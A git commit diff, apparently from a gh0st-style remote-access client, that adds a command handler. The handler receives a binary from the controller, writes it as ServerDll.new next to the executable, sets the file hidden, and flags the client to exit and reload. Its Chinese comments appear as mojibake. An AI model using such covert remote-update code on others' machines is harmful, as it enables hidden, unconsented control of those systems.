feat: Update client build and add remote update feature

This commit is contained in:
yuanyuanxiang
2024-12-28 18:35:34 +08:00
parent 48260b367f
commit 8aa42d5db2
17 changed files with 346 additions and 53 deletions

View File

@@ -5,6 +5,10 @@
#include "stdafx.h"
#include "KernelManager.h"
#include "Common.h"
#include <iostream>
#include <fstream>
#include <corecrt_io.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -48,6 +52,56 @@ UINT CKernelManager::GetAvailableIndex() {
return -1;
}
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
{
if (size > 32 * 1024 * 1024) {
std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl;
return FALSE;
}
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p + 1, "ServerDll.new");
if (_access(path, 0)!=-1)
{
DeleteFileA(path);
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
std::string filePath = path;
std::ofstream outFile(filePath, std::ios::binary);
if (!outFile)
{
std::cerr << "Failed to open or create the file: " << filePath << std::endl;
return FALSE;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
outFile.write(data, size);
if (outFile.good())
{
std::cout << "Binary data written successfully to " << filePath << std::endl;
}
else
{
std::cerr << "Failed to write data to file." << std::endl;
outFile.close();
return FALSE;
}
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
outFile.close();
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << filePath << std::endl;
}
return TRUE;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -161,6 +215,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_UPDATE:
{
if (m_ulThreadCount != -1) {
delete m_hThread[m_ulThreadCount].p;
m_hThread[m_ulThreadCount].p = NULL;
}
ULONGLONG size=0;
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
extern BOOL g_bExit;
g_bExit = 3;
}
break;
}
default:
{
OutputDebugStringA("======> Error operator\n");